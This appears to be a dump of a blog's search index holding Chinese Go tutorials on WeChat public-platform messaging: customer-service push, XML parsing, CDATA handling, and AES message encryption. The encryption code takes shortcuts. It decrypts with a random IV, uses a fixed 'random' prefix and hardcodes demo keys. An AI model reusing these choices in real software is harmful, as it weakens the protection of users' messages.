`json:\u0026ldquo;content\u0026rdquo;`\n}\nfunc pushCustomMsg(accessToken, toUser, msg string) error {\ncsMsg := \u0026amp;CustomServiceMsg{\nToUser: toUser,\nMsgType: \u0026ldquo;text\u0026rdquo;,\nText: TextMsgContent{Content: msg},\n}\nbody, err := json.MarshalIndent(csMsg, \u0026quot; \u0026ldquo;, \u0026quot; \u0026ldquo;)\nif err != nil {\nreturn err\n}\nfmt.Println(string(body))\n… …\n}\n如果单纯输出上面marshal的结果，可以看到：\n{\n\u0026ldquo;touser\u0026rdquo;: \u0026ldquo;oBQcwuAbKpiSAbbvd_DEZg7q27QI\u0026rdquo;,\n\u0026ldquo;msgtype\u0026rdquo;: \u0026ldquo;text\u0026rdquo;,\n\u0026ldquo;text\u0026rdquo;: {\n\u0026ldquo;content\u0026rdquo;: \u0026ldquo;你好\u0026rdquo;\n}\n}\n接下来将marshal后的[]byte放入一个http post的body中，发送到指定url中：\nvar openID = \u0026ldquo;oBQcwuAbKpiSAbbvd_DEZg7q27QI\u0026rdquo;\nfunc pushCustomMsg(accessToken, toUser, msg string) error {\n… …\npostReq, err := http.NewRequest(\u0026ldquo;POST\u0026rdquo;,\nstrings.Join([]string{customServicePostUrl, \u0026ldquo;?access_token=\u0026rdquo;, accessToken}, \u0026ldquo;\u0026rdquo;),\nbytes.NewReader(body))\nif err != nil {\nreturn err\n}\npostReq.Header.Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;application/json; encoding=utf-8\u0026rdquo;)\nclient := \u0026amp;http.Client{}\nresp, err := client.Do(postReq)\nif err != nil {\nreturn err\n}\nresp.Body.Close()\nreturn nil\n}\n我们在main函数中加上客服消息的发送环节：\nfunc main() {\n// Fetch access_token\naccessToken, expiresIn, err := fetchAccessToken()\nif err != nil {\nlog.Println(\u0026ldquo;Get access_token error:\u0026rdquo;, err)\nreturn\n}\nfmt.Println(accessToken, expiresIn)\n// Post custom service message\nmsg := \u0026ldquo;你好\u0026rdquo;\nerr = pushCustomMsg(accessToken, openID, msg)\nif err != nil {\nlog.Println(\u0026ldquo;Push custom service message err:\u0026rdquo;, err)\nreturn\n}\n}\n编译执行，手机响起提示音，打开观看，微信公众平台测试号发来消息：“你好”。\n上述Demo完整代码在这里可以看到，别忘了appID，appSecret改成你自己的值。\n目前客服接口仅提供给认证后的订阅号以及服务号，对于未认证的订阅号，无法发送客服消息。\n","permalink":"https://tonybai.com/2014/12/30/send-custom-service-text-msg-for-wechat-public-platform-dev-in-golang/","summary":"\u003cp\u003e关注并使用过微信“飞常准”公众号的朋友们都有过如下体验：查询一个航班情况后，这个航班的checkin、登机、起降等信息都会在后续陆续异步发给你，这个服务就是通过微信公众平台的客服消息实现的。\u003c/p\u003e","title":"使用Golang开发微信公众平台-发送客服消息"},{"content":"在上一篇“接收文本消息”一文中，我们了解到：公众服务与微信服务器间的消息是“裸奔”的（即明文传输，通过抓包可以看到）。显然这对于一些对安 全性要求较高的大企业服务号来说，比如银行、证券、电信运营商或航空客服等是不能完全满足要求的。于是乎就有了微信服务器与公众服务间的数据加密 通信流程。\n公众号管理员可以在公众号“开发者中心”选择是否采用\u0026quot;安全模式\u0026quot;(区别于明文模式)：\n一旦选择了“安全模式”，微信服务器在向公众号服务转发消息时会对XML数据包部分内容进行加密处理。这类加密后的请求Body中的XML数据变 成了下面这样：\nxml数据基本结构变成了:\nxx xx 另外在“安全模式”下，Http Post Request line中也增加了两个字段：encrypt_type和msg_signuature，用于消息类型判断以及加密消息内容有效性校验：\nPOST /?signature=891789ec400309a6be74ac278030e472f90782a5\u0026amp;timestamp=1419214101\u0026amp;nonce=788148964\u0026amp;encrypt_type=aes\u0026amp;msg_signature=87d7b127fab3771b452bc6a592f530cd8edba950 HTTP/1.1\\r\\n\n其中：\nencrypt_type = \u0026ldquo;aes\u0026rdquo;，说明是加密消息，否则为\u0026quot;raw”，即未加密消息。\nmsg_signature=sha1(sort(Token, timestamp, nonce, msg_encrypt))\n对于测试号，测试号配置页面没有加密相关配置，因此只能通过“微信公众平台接口调试工具”来进行相关加密接口调试。\n一、消息签名验证\n对于“安全模式”下的消息交互，首先要做的就是消息签名验证，只有通过验证的消息才会进行下一步解密、解析和处理。\n消息签名验证的原理是比较微信平台HTTP Post Line中携带的msg_signature与通过Token、timestamp、nonce和msg_encrypt等四个字段值计算出的 msg_signture是否一致，一致则通过消息签名验证。\n我们依旧在procRequest中完成对“安全模式”下消息的签名验证。\n//recvencryptedtextmsg.go\ntype EncryptRequestBody struct {\nXMLName xml.Name `xml:\u0026ldquo;xml\u0026rdquo;`\nToUserName string\nEncrypt string\n}\nfunc makeMsgSignature(timestamp, nonce, msg_encrypt string) string {\nsl := []string{token, timestamp, nonce, msg_encrypt}\nsort.Strings(sl)\ns := sha1.New()\nio.WriteString(s, strings.Join(sl, \u0026ldquo;\u0026rdquo;))\nreturn fmt.Sprintf(\u0026quot;%x\u0026quot;, s.Sum(nil))\n}\nfunc validateMsg(timestamp, nonce, msgEncrypt, msgSignatureIn string) bool {\nmsgSignatureGen := makeMsgSignature(timestamp, nonce, msgEncrypt)\nif msgSignatureGen != msgSignatureIn {\nreturn false\n}\nreturn true\n}\nfunc parseEncryptRequestBody(r *http.Request) *EncryptRequestBody {\nbody, err := ioutil.ReadAll(r.Body)\nif err != nil {\nlog.Fatal(err)\nreturn nil\n}\nrequestBody := \u0026amp;EncryptRequestBody{}\nxml.Unmarshal(body, requestBody)\nreturn requestBody\n}\nfunc procRequest(w http.ResponseWriter, r *http.Request) {\nr.ParseForm()\ntimestamp := strings.Join(r.Form[\u0026ldquo;timestamp\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nnonce := strings.Join(r.Form[\u0026ldquo;nonce\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nsignature := strings.Join(r.Form[\u0026ldquo;signature\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nencryptType := strings.Join(r.Form[\u0026ldquo;encrypt_type\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\nmsgSignature := strings.Join(r.Form[\u0026ldquo;msg_signature\u0026rdquo;], \u0026ldquo;\u0026rdquo;)\n… …\nf r.Method == \u0026ldquo;POST\u0026rdquo; {\nif encryptType == \u0026ldquo;aes\u0026rdquo; {\nlog.Println(\u0026ldquo;Wechat Service: in safe mode\u0026rdquo;)\nencryptRequestBody := parseEncryptRequestBody(r)\n//Validate msg signature\nif !validateMsg(timestamp, nonce, encryptRequestBody.Encrypt, msgSignature) {\nlog.Println(\u0026ldquo;Wechat Service: msg_signature is invalid\u0026rdquo;)\nreturn\n}\nlog.Println(\u0026ldquo;Wechat Service: msg_signature validation is ok!\u0026rdquo;)\n… …\n}\n… …\n}\n程序编译执行结果如下：\n$sudo ./recvencryptedtextmsg\n2014/12/22 13:15:56 Wechat Service: Start!\n用手机微信发送一条消息给公众号，程序输出如下结果：\n2014/12/22 13:17:35 Wechat Service: in safe mode\n2014/12/22 13:17:35 Wechat Service: msg_signature validation is ok!\n二、数据包解密\n到目前为止，我们已经得到了经过消息验证ok的加密数据包EncryptRequestBody 的Encrypt。要想得到真正的消息内容，我们需要对Encrypt字段的值进行解密处理。微信采用的是AES加解密方案， 下面我们就来看看如何做AES解密。\n在开发者中心选择转换为“安全模式”时，有一个字段EncodingAESKey需要填写，这个字段固定为43个字符，它就是我们在运用AES算 法时需要的那个Key。不过这个EncodingAESKey是被编了码的，真正用来加解密的AESKey需要我们自己通过解码得到。解码方法 为：\nAESKey=Base64_Decode(EncodingAESKey + “=”)\nBase64 decode后，我们就得到了一个32个字节的AESKey，可以看出微信加密解密用的是AES-256算法(256=32x8bit)。\n在Golang中，我们可以通过下面代码得到真正的AESKey：\nconst (\ntoken = \u0026ldquo;wechat4go\u0026rdquo;\nappID = \u0026ldquo;wx5b5c2614d269ddb2\u0026rdquo;\nencodingAESKey = \u0026ldquo;kZvGYbDKbtPbhv4LBWOcdsp5VktA3xe9epVhINevtGg\u0026rdquo;\n)\nvar aesKey []byte\nfunc encodingAESKey2AESKey(encodingKey string) []byte {\ndata, _ := base64.StdEncoding.DecodeString(encodingKey + \u0026ldquo;=\u0026rdquo;)\nreturn data\n}\nfunc init() {\naesKey = encodingAESKey2AESKey(encodingAESKey)\n}\n有了AESKey，我们再来解密数据包。微信公众平台开发文档给出了加密数据包的解析步骤：\n1. aes_msg=Base64_Decode(msg_encrypt)\n2. rand_msg=AES_Decrypt(aes_msg)\n3. 验证尾部$AppId是否是自己的AppId，相同则表示消息没有被篡改，这里进一步加强了消息签名验证\n4. 去掉rand_msg头部的16个随机字节，4个字节的msg_len和尾部的$AppId即为最终的xml消息体\n微信Wiki中如果能用一个简单的图来说明Base64_Decode后的数据格式就更好了。这里进一步说明一下，解密后的数据，我们称之 plainData，它由四部分组成，按先后顺序排列分别是：\n1、随机值 16字节\n2、xml包长度 4字节 （注意以BIG_ENDIAN方式读取）\n3、xml包 （*这部分数据的长度由上一个字段标识，这个包等价于一个完整的文本接收消息体数据，从ToUsername到MsgID都 有）\n4、appID\n其中第三段xml包是一个完整的接收文本数据包，与“接收消息”一文中的标准文本数据包格式一致，这就方便我们解析了。好了，下面用代码阐述解 密、解析过程以及appid验证：\n在procRequest中，增加如下代码：\n// Decode base64\ncipherData, err := base64.StdEncoding.DecodeString(encryptRequestBody.Encrypt)\nif err != nil {\nlog.Println(\u0026ldquo;Wechat Service: Decode base64 error:\u0026rdquo;, err)\nreturn\n}\n// AES Decrypt\nplainData, err := aesDecrypt(cipherData, aesKey)\nif err != nil {\nfmt.Println(err)\nreturn\n}\n//Xml decod****ing\ntextRequestBody, _ := parseEncryptTextRequestBody(plainData)\nfmt.Printf(\u0026ldquo;Wechat Service: Recv text msg [%s] from user [%s]!\u0026rdquo;,\ntextRequestBody.Content,\ntextRequestBody.FromUserName)\n根据解密方法，我们先对encryptRequestBody.Encrypt进行base64 decode操作得到cipherData，再用aesDecrypt对cipherData进行解密得到上面提到的由四部分组成的plainData。plainData经过xml decoding后就得到我们的TextRequestBody struct。\n这里难点显然在aesDecrypt的实现上了。微信的加密包采用aes-256算法，秘钥长度32B，采用PKCS#7 Padding方式。Golang提供了强大的AES加密解密方法，我们利用这些方法实现微信包的解密：\nfunc aesDecrypt(cipherData []byte, aesKey []byte) ([]byte, error) {\nk := len(aesKey) //PKCS#7\nif len(cipherData)%k != 0 {\nreturn nil, errors.New(\u0026ldquo;crypto/cipher: ciphertext size is not multiple of aes key length\u0026rdquo;)\n}\nblock, err := aes.NewCipher(aesKey)\nif err != nil {\nreturn nil, err\n}\niv := make([]byte, aes.BlockSize)\nif _, err := io.ReadFull(rand.Reader, iv); err != nil {\nreturn nil, err\n}\nblockMode := cipher.NewCBCDecrypter(block, iv)\nplainData := make([]byte, len(cipherData))\nblockMode.CryptBlocks(plainData, cipherData)\nreturn plainData, nil\n}\n对于解密后的plainData做appID校验以及xml Decoding处理如下：\nfunc parseEncryptTextRequestBody(plainText []byte) (*TextRequestBody, error) {\nfmt.Println(string(plainText))\n// Read length\nbuf := bytes.NewBuffer(plainText[16:20])\nvar length int32\nbinary.Read(buf, binary.BigEndian, \u0026amp;length)\nfmt.Println(string(plainText[20 : 20+length]))\n// appID validation\nappIDstart := 20 + length\nid := plainText[appIDstart : int(appIDstart)+len(appID)]\nif !validateAppId(id) {\nlog.Println(\u0026ldquo;Wechat Service: appid is invalid!\u0026rdquo;)\nreturn nil, errors.New(\u0026ldquo;Appid is invalid\u0026rdquo;)\n}\nlog.Println(\u0026ldquo;Wechat Service: appid validation is ok!\u0026rdquo;)\n// xml Decoding\ntextRequestBody := \u0026amp;TextRequestBody{}\nxml.Unmarshal(plainText[20:20+length], textRequestBody)\nreturn textRequestBody, nil\n}\n编译执行输出textRequestBody：\n\u0026amp;{{ xml} gh_6ebaca4bb551 on95ht9uPITsmZmq_mvuz4h6f6CI 1.419239875s text Hello, Wechat 6095588848508047134}\n三、响应消息的数据包加密\n微信公众平台开发文档要求：公众账号对密文消息的回复也要求加密。\n对比一下普通的响应消息格式和加密后的响应消息格式：\n加密后：\n我们定义一个结构体映射响应消息数据包：\ntype EncryptResponseBody struct {\nXMLName xml.Name `xml:\u0026ldquo;xml\u0026rdquo;`\nEncrypt CDATAText\nMsgSignature CDATAText\nTimeStamp string\nNonce CDATAText\n}\ntype CDATAText struct {\nText string `xml:\u0026quot;,innerxml\u0026quot;`\n}\n我们要做的就是给EncryptResponseBody的实例逐一赋值，然后通过xml.MarshalIndent转成xml数据流即可，各字 段值生成规则如下：\nEncrypt = Base64_Encode(AES_Encrypt [random(16B)+ msg_len(4B) + msg + $AppId])\nMsgSignature=sha1(sort(Token, timestamp, nonce, msg_encrypt))\nTimeStamp = 用请求中的值或新生成\nNonce = 用请求中的值或新生成\n微信公众接口的加密复杂度要比解密高一些，关键问题在于加密结果的判定和加密逻辑的调试，AES加密出的结果每次都不同，我们要么通过微信平台真实操作验证，要么通过微信提供的在线调试工具验证加密是否正确。这里强烈建议使用在线调试工具(测试号只能选择这一种)。\n在线调试工具的配置参考如下，ToUserName和FromUserName建议填写真实的（通过解密Post包打印输出得到）：\n如果在线调试工具收到你的应答，并解密成功，会给出如下反馈：\n在procRequest中，我们在接收解析完Http Request后，通过下面几行代码构造一个加密的Response返回给微信平台或调试工具：\nresponseEncryptTextBody, _ := makeEncryptResponseBody(textRequestBody.ToUserName,\ntextRequestBody.FromUserName,\n\u0026ldquo;Hello, \u0026ldquo;+textRequestBody.FromUserName,\nnonce,\ntimestamp)\nw.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/xml\u0026rdquo;)\nfmt.Fprintf(w, string(responseEncryptTextBody))\nfunc makeEncryptResponseBody(fromUserName, toUserName, content, nonce, timestamp string) ([]byte, error) {\nencryptBody := \u0026amp;EncryptResponseBody{}\nencryptXmlData, _ := makeEncryptXmlData(fromUserName, toUserName, timestamp, content)\nencryptBody.Encrypt = value2CDATA(encryptXmlData)\nencryptBody.MsgSignature = value2CDATA(makeMsgSignature(timestamp, nonce, encryptXmlData))\nencryptBody.TimeStamp = timestamp\nencryptBody.Nonce = value2CDATA(nonce)\nreturn xml.MarshalIndent(encryptBody, \u0026quot; \u0026ldquo;, \u0026quot; \u0026ldquo;)\n}\n应答Xml包中只有Encrypt字段是加密的，该字段的生成方式如下：\nfunc makeEncryptXmlData(fromUserName, toUserName, timestamp, content string) (string, error) {\n// Encrypt part3: Xml Encoding\ntextResponseBody := \u0026amp;TextResponseBody{}\ntextResponseBody.FromUserName = value2CDATA(fromUserName)\ntextResponseBody.ToUserName = value2CDATA(toUserName)\ntextResponseBody.MsgType = value2CDATA(\u0026ldquo;text\u0026rdquo;)\ntextResponseBody.Content = value2CDATA(content)\ntextResponseBody.CreateTime = timestamp\nbody, err := xml.MarshalIndent(textResponseBody, \u0026quot; \u0026ldquo;, \u0026quot; \u0026ldquo;)\nif err != nil {\nreturn \u0026ldquo;\u0026rdquo;, errors.New(\u0026ldquo;xml marshal error\u0026rdquo;)\n}\n// Encrypt part2: Length bytes\nbuf := new(bytes.Buffer)\nerr = binary.Write(buf, binary.BigEndian, int32(len(body)))\nif err != nil {\nfmt.Println(\u0026ldquo;Binary write err:\u0026rdquo;, err)\n}\nbodyLength := buf.Bytes()\n// Encr****ypt part1: Random bytes\nrandomBytes := []byte(\u0026ldquo;abcdefghijklmnop\u0026rdquo;)\n// Encrypt Part, with part4 - appID\nplainData := bytes.Join([][]byte{randomBytes, bodyLength, body, []byte(appID)}, nil)\ncipherData, err := aesEncrypt(plainData, aesKey)\nif err != nil {\nreturn \u0026ldquo;\u0026rdquo;, errors.New(\u0026ldquo;aesEncrypt error\u0026rdquo;)\n}\nreturn base64.StdEncoding.EncodeToString(cipherData), nil\n}\nfunc aesEncrypt(plainData []byte, aesKey []byte) ([]byte, error) {\nk := len(aesKey)\nif len(plainData)%k != 0 {\nplainData = PKCS7Pad(plainData, k)\n}\nblock, err := aes.NewCipher(aesKey)\nif err != nil {\nreturn nil, err\n}\niv := make([]byte, aes.BlockSize)\nif _, err := io.ReadFull(rand.Reader, iv); err != nil {\nreturn nil, err\n}\ncipherData := make([]byte, len(plainData))\nblockMode := cipher.NewCBCEncrypter(block, iv)\nblockMode.CryptBlocks(cipherData, plainData)\nreturn cipherData, nil\n}\n根据官方文档： 微信所用的AES采用的时CBC模式，秘钥长度为32个字节（aesKey），数据采用PKCS#7填充；PKCS#7：K为秘钥字节数（采用32），buf为待加密的内容，N为其字节数。Buf需要被填充为K的整数倍。因此我们pad要加密的数据时，务必pad为k(=32)的整数倍，而不是aes.BlockSize(=16)的整数倍。\n采用安全模式后的公众号消息交互性能似乎下降了，发送\u0026quot;hello, wechat\u0026quot;给公众号后好长时间才收到响应。\n微信公众号接收加密消息的代码在这里可以下载。这些代码只是演示代码，结构上绝不算优化，大家可以将这些代码封装成通用的接口为后续微信公众平台接口开发奠定基础。\n","permalink":"https://tonybai.com/2014/12/24/recv-encrypted-text-msg-for-wechat-public-platform-dev-in-golang/","summary":"\u003cp\u003e在上一篇“\u003ca href=\"http://tonybai.com/2014/12/20/receive-text-for-wechat-public-platform-dev-in-golang/\"\u003e接收文本消息\u003c/a\u003e”一文中，我们了解到：公众服务与微信服务器间的消息是“裸奔”的（即明文传输，通过抓包可以看到）。显然这对于一些对安 全性要求较高的大企业服务号来说，比如银行、证券、电信运营商或航空客服等是不能完全满足要求的。于是乎就有了微信服务器与公众服务间的数据加密 通信流程。\u003c/p\u003e","title":"使用Golang开发微信公众平台-接收加密消息"},{"content":"一旦接入验证成功，成为正式开发者，你可能会迫不及待地想通过手机微信发送一条\u0026quot;Hello, Wechat”到你的公众号服务器。不过上一篇的那个程序还无法处理手机提交的文本消息，本篇将介绍如何用Golang编写公众号程序来接收手机端发送的 文本消息以及回复响应消息。\n根据微信公众平台开发文档中描述：“当普通微信用户向公众账号发消息时，微信服务器将POST消息的XML数据包到开发者填写的URL上”。我们 用一个示意图展示一下这个消息流程：\n微信服务器通过一个HTTP Post请求将终端用户发送的消息转发给公众号服务器，消息内容被包装在HTTP Post Request的Body中。数据包以XML格式存储，文本类消息XML格式样例如下（引自微信公众平台开发文档）：\n数据包中各个字段的含义都显而易见，我们重点关注的时Content这个字段填写的内容，也就是终端用户发送的消息内容。为了得到这个字段值，我 们需要解析微信服务器发来的HTTP Post包的Body。\n在“接入验证”一文中我们提到过，微信服务器发起的请求都带有验证字段，可被公众号服务用于验证HTTP Request是否来自于微信服务器，避免恶意请求。这些用于验证来源的信息，不仅仅在接入验证阶段会发给公众号服务器，在后续微信服务器与公众号服务器 的消息交互过程中，HTTP Request中也都会携带这些信息(注意：没有echostr参数了)。\n下面我们来看接收文本消息的Golang程序。\n一、接收文本消息\n公众号所用的HTTP Server可以沿用“接入验证”一文中的那个main中的Server，我们需要修改的是procRequest函数。\n在procRequest函数中，我们保留validateUrl，用于校验请求是否来自于微信服务器。\nfunc procRequest(w http.ResponseWriter, r *http.Request) {\nr.ParseForm()\nif !validateUrl(w, r) {\nlog.Println(\u0026ldquo;Wechat Service: this http request is not from Wechat platform!\u0026rdquo;)\nreturn\n}\nlog.Println(\u0026ldquo;Wechat Service: validateUrl Ok!\u0026rdquo;)\n… …//在此解析HTTP Request Body\n}\n通过验证后，我们开始解析HTTP Request的Body，Body中的数据是XML格式的，我们可以通过Golang标准库encoding/xml包中提供的函数对Body进行解 析。encoding/xml根据xml字段名与struct字段名或struct tag(struct中每个字段后面反单引号引用的内容，比如xml: \u0026ldquo;xml\u0026rdquo;)的对应关系将xml数据中的字段值解析到struct的字段中，因此我们需要根据这个xml包的组成定义出对应该格式的struct，这个 struct定义如下：\ntype TextRequestBody struct {\nXMLName xml.Name `xml:\u0026ldquo;xml\u0026rdquo;`\nToUserName string\nFromUserName string\nCreateTime time.Duration\nMsgType string\nContent string\nMsgId int\n}\n其中FromUserName是发送方账号，这是一个OpenID，每个微信用户针对某个关注的公众号都有唯一OpenID。举个例 子：\u0026ldquo;tonybai\u0026quot;这个微信用户，关注了\u0026quot;GoNuts\u0026quot;和\u0026quot;GoDev\u0026quot;两个公众号，则\u0026quot;tonybai\u0026quot;发给GoNuts的消息中的 OpenID是“tonybai-gonuts”，而tonybai发给GoDev的消息中的OpenID则是“tonybai-godev”。\nMsgId是一个64位整型，可用于消息排重。对于一个HTTP Post，微信服务器在五秒内如果收不到响应会断掉连接，并且针对该消息重新发起请求，总共重试三次。严谨的公众号服务端实现是应该实现消息排重功能的。\n通过encoding/xml包中的Unmarshal函数，我们将上面的xml数据转换为一个TextRequestBody实例，具体代码如 下：\n//recvtextmsg_unencrypt.go\nfunc parseTextRequestBody(r *http.Request) *TextRequestBody {\nbody, err := ioutil.ReadAll(r.Body)\nif err != nil {\nlog.Fatal(err)\nreturn nil\n}\nfmt.Println(string(body))\nrequestBody := \u0026amp;TextRequestBody{}\nxml.Unmarshal(body, requestBody)\nreturn requestBody\n}\nfunc procRequest(w http.ResponseWriter, r *http.Request) {\nr.ParseForm()\nif !validateUrl(w, r) {\nlog.Println(\u0026ldquo;Wechat Service: this http request is not from Wechat platform!\u0026rdquo;)\nreturn\n}\nif r.Method == \u0026ldquo;POST\u0026rdquo; {\ntextRequestBody := parseTextRequestBody(r)\nif textRequestBody != nil {\nfmt.Printf(\u0026ldquo;Wechat Service: Recv text msg [%s] from user [%s]!\u0026rdquo;,\ntextRequestBody.Content,\ntextRequestBody.FromUserName)\n}\n}\n}\n构建并执行该程序：\n$\u0026gt;sudo ./recvtextmsg_unencrypt\n2014/12/19 08:03:27 Wechat Service: Start!\n通过手机微信或公众开发平台提供的页面调试工具发送\u0026quot;Hello, Wechat\u0026rdquo;，我们可以看到如下输出：\n2014/12/19 08:05:51 Wechat Service: validateUrl Ok!\nWechat Service: Recv text msg [Hello, Wechat] from user [oBQcwuAbKpiSAbbvd_DEZg7q27QI]!\n上述接收\u0026quot;Hello, Wechat\u0026quot;文本消息的Http抓包分析文本如下(Copy from wireshark output)：\nPOST /?signature=9b8233c4ef635eaf5b9545dc196da6661ee039b0\u0026amp;timestamp=1418976343\u0026amp;nonce=1368270896 HTTP/1.0\\r\\n\nUser-Agent: Mozilla/4.0\\r\\n\nAccept: */*\\r\\n\nHost: wechat.tonybai.com\\r\\n\nPragma: no-cache\\r\\n\nContent-Length: 286\\r\\n\nContent-Type: text/xml\\r\\n\n公众号服务器给微信服务器返回的HTTP Post Response为：\nHTTP/1.0 200 OK\\r\\n\nDate: Fri, 19 Dec 2014 08:05:51 GMT\\r\\n\nContent-Length: 0\\r\\n\nContent-Type: text/plain; charset=utf-8\\r\\n\n二、响应文本消息\n上面的例子中，终端用户发送\u0026quot;Hello, Wechat\u0026quot;，虽然公众号服务器成功接收到了这段内容，但终端用户并没有得到响应，这显然不那么友好！这里我们来给终端用户补发一个文本消息的响 应：Hello，用户OpenID。\n这类响应消息可以通过HTTP Post Request的Response包携带，将数据放入Response包的Body中，当然也可以单独向微信公众平台发起请求（后话）。微信公众平台开发 文档中关于被动的文本消息响应的定义如下：\n这与前面的接收消息结构极其类似，字段含义也不说自明。Golang encoding/xml中的Marshal(和MarshalIndent)函数提供了将struct编码为XML数据流的功能，它是 Unmarshal的逆过程，Golang实现回复 文本响应消息的代码如下：\ntype TextResponseBody struct {\nXMLName xml.Name `xml:\u0026ldquo;xml\u0026rdquo;`\nToUserName string\nFromUserName string\nCreateTime time.Duration\nMsgType string\nContent string\n}\nfunc makeTextResponseBody(fromUserName, toUserName, content string) ([]byte, error) {\ntextResponseBody := \u0026amp;TextResponseBody{}\ntextResponseBody.FromUserName = fromUserName\ntextResponseBody.ToUserName = toUserName\ntextResponseBody.MsgType = \u0026ldquo;text\u0026rdquo;\ntextResponseBody.Content = content\ntextResponseBody.CreateTime = time.Duration(time.Now().Unix())\nreturn xml.MarshalIndent(textResponseBody, \u0026quot; \u0026ldquo;, \u0026quot; \u0026ldquo;)\n}\nfunc procRequest(w http.ResponseWriter, r *http.Request) {\nr.ParseForm()\nif !validateUrl(w, r) {\nlog.Println(\u0026ldquo;Wechat Service: this http request is not from Wechat platform!\u0026rdquo;)\nreturn\n}\nif r.Method == \u0026ldquo;POST\u0026rdquo; {\ntextRequestBody := parseTextRequestBody(r)\nif textRequestBody != nil {\nfmt.Printf(\u0026ldquo;Wechat Service: Recv text msg [%s] from user [%s]!\u0026rdquo;,\ntextRequestBody.Content,\ntextRequestBody.FromUserName)\nresponseTextBody, err := makeTextResponseBody(textRequestBody.ToUserName,\ntextRequestBody.FromUserName,\n\u0026ldquo;Hello, \u0026ldquo;+textRequestBody.FromUserName)\nif err != nil {\nlog.Println(\u0026ldquo;Wechat Service: makeTextResponseBody error: \u0026ldquo;, err)\nreturn\n}\nfmt.Fprintf(w, string(responseTextBody))\n}\n}\n}\n编译执行上面程序后，通过手机微信或网页调试工具发送一条\u0026quot;Hello, Wechat\u0026quot;到公众号，公众号会响应如下信息：“Hello, oBQcwuAbKpiSAbbvd_DEZg7q27QI\u0026rdquo;，手机端微信会正确接收该响应。\n上述响应的抓包分析如下。公众号服务器给微信服务器返回的HTTP Post Response为：\nHTTP/1.0 200 OK\\r\\n\nDate: Fri, 19 Dec 2014 09:03:55 GMT\\r\\n\nContent-Length: 220\\r\\n\nContent-Type: text/plain; charset=utf-8\\r\\n\n\\r\\n\noBQcwuAbKpiSAbbvd_DEZg7q27QIgh_xxxxxxxx1418979835textHello, oBQcwuAbKpiSAbbvd_DEZg7q27QI\n三、关于Content-Type设置\n虽然Content-Type为：text/plain; charset=utf-8的 响应信息可以被微信平台正确解析，但通过抓取微信平台给公众号服务器发送的HTTP Post Request来看，在发送xml数据时微信服务器用的Content-Type为Content-Type: text/xml。我们的响应信息Body也是xml数据包，我们能否为响应信息重新设置Content-Type为 text/xml呢？我们可以通过如下代码设置：\nw.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/xml\u0026rdquo;)\nfmt.Fprintf(w, string(responseTextBody))\n不过奇怪的是我通过AWS EC2上抓包得到的Content-Type始终是“text/plain; charset=utf-8”。但利用ngrok映射到本地端口后抓包看到的却是正确的\u0026quot;text/xml\u0026rdquo;，在AWS本地用 curl -d xxx.xxx.xxx.xxx测试公众号服务程序而抓到的包也是正确的。通过代码没看出什么端倪，因为逻辑上显式设置Header的Content- Type后，Go标准库不会在sniff内容的格式了。\n通过ngrok映射本地80端口后，得到的HTTP Post Response抓包分析文字：\nHTTP/1.1 200 OK\\r\\n\nContent-Type: text/xml\\r\\n\nDate: Sat, 20 Dec 2014 04:29:16 GMT\\r\\n\nContent-Length: 220\\r\\n\nxml数据包这里忽略。\n四、CDATA的使用\n从抓包可以看到，我们回复的响应中的XML数据包是不带CDATA，即便这样微信客户端接收也没有问题。但这并未严遵循协议样例。\nXML下CDATA含义是：在标记CDATA下，所有的标记、实体引用都被忽略，而被XML处理程序一视同仁地当做字符数据看待，CDATA的形 式如下：\n\u0026lt;![CDATA[文本内容]]\u0026gt;\n我们尝试加上为每个文本类型的字段值上直接添加CDATA标记。\nfunc value2CDATA(v string) string {\nreturn \u0026ldquo;\u0026lt;![CDATA[\u0026rdquo; + v + \u0026ldquo;]]\u0026gt;\u0026rdquo;\n}\nfunc makeTextResponseBody(fromUserName, toUserName, content string) ([]byte, error) {\ntextResponseBody := \u0026amp;TextResponseBody{}\ntextResponseBody.FromUserName = value2CDATA(fromUserName)\ntextResponseBody.ToUserName = value2CDATA(toUserName)\ntextResponseBody.MsgType = value2CDATA(\u0026ldquo;text\u0026rdquo;)\ntextResponseBody.Content = value2CDATA(content)\ntextResponseBody.CreateTime = time.Duration(time.Now().Unix())\nreturn xml.MarshalIndent(textResponseBody, \u0026quot; \u0026ldquo;, \u0026quot; \u0026ldquo;)\n}\n这样修改后，我们试着发一条消息给微信公众号平台，不过结果并不正确。手机微信无法收到响应信息，并显示“该公众号暂时无法提供服务，请稍后再 试”。通过Println输出Body可以看到：\n\u0026lt;![CDATA[oBQcwuAbKpiSAbbvd_DEZg7q27QI]]\u0026gt;\u0026lt;![CDATA[gh_1fd4719f81fe]]\u0026gt;1419051400\u0026lt;![CDATA[text]]\u0026gt;\u0026lt;![CDATA[Hello, oBQcwuAbKpiSAbbvd_DEZg7q27QI]]\u0026gt;\n可以看到左右尖括号分别被转义为\u0026lt;和\u0026gt;了，这显然不是我们想要的结果。那如何加入CDATA标记呢。Golang并 不直接显式支持生成CDATA字段的xml流，我们只能间接实现。前面提到过struct定义时的struct tag，golang xml包规定：\u0026ldquo;a field with tag \u0026ldquo;,innerxml\u0026rdquo; is written verbatim, not subject to the usual marshalling procedure\u0026rdquo;。 大致的意思是如果一个字段的struct tag是\u0026rdquo;,innerxml\u0026rdquo;，则Marshal时字段值原封不动，不提交给通常的marshalling程序。我们就利用innerxml来实现 CDATA标记。\ntype TextResponseBody struct {\nXMLName xml.Name `xml:\u0026ldquo;xml\u0026rdquo;`\nToUserName CDATAText\nFromUserName CDATAText\nCreateTime time.Duration\nMsgType CDATAText\nContent CDATAText\n}\ntype CDATAText struct {\nText string `xml:\u0026quot;,innerxml\u0026rdquo;`\n}\nfunc value2CDATA(v string) CDATAText {\nreturn CDATAText{\u0026quot;\u0026lt;![CDATA[\u0026rdquo; + v + \u0026ldquo;]]\u0026gt;\u0026rdquo;}\n}\n编译程序后测试，这回CDATA标记正确了，微信客户端也收到的响应信息。\n五、用ngrok在本地调试微信公众平台接口\n在“接入验证”一文中，我们建议申请诸如AWS 